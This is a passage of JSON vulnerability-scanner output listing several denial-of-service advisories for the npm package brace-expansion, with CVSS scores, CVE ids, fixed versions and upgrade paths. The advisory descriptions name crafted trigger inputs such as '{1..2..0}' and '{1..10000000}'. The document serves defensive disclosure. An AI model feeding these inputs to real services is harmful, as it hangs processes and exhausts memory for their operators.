"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", 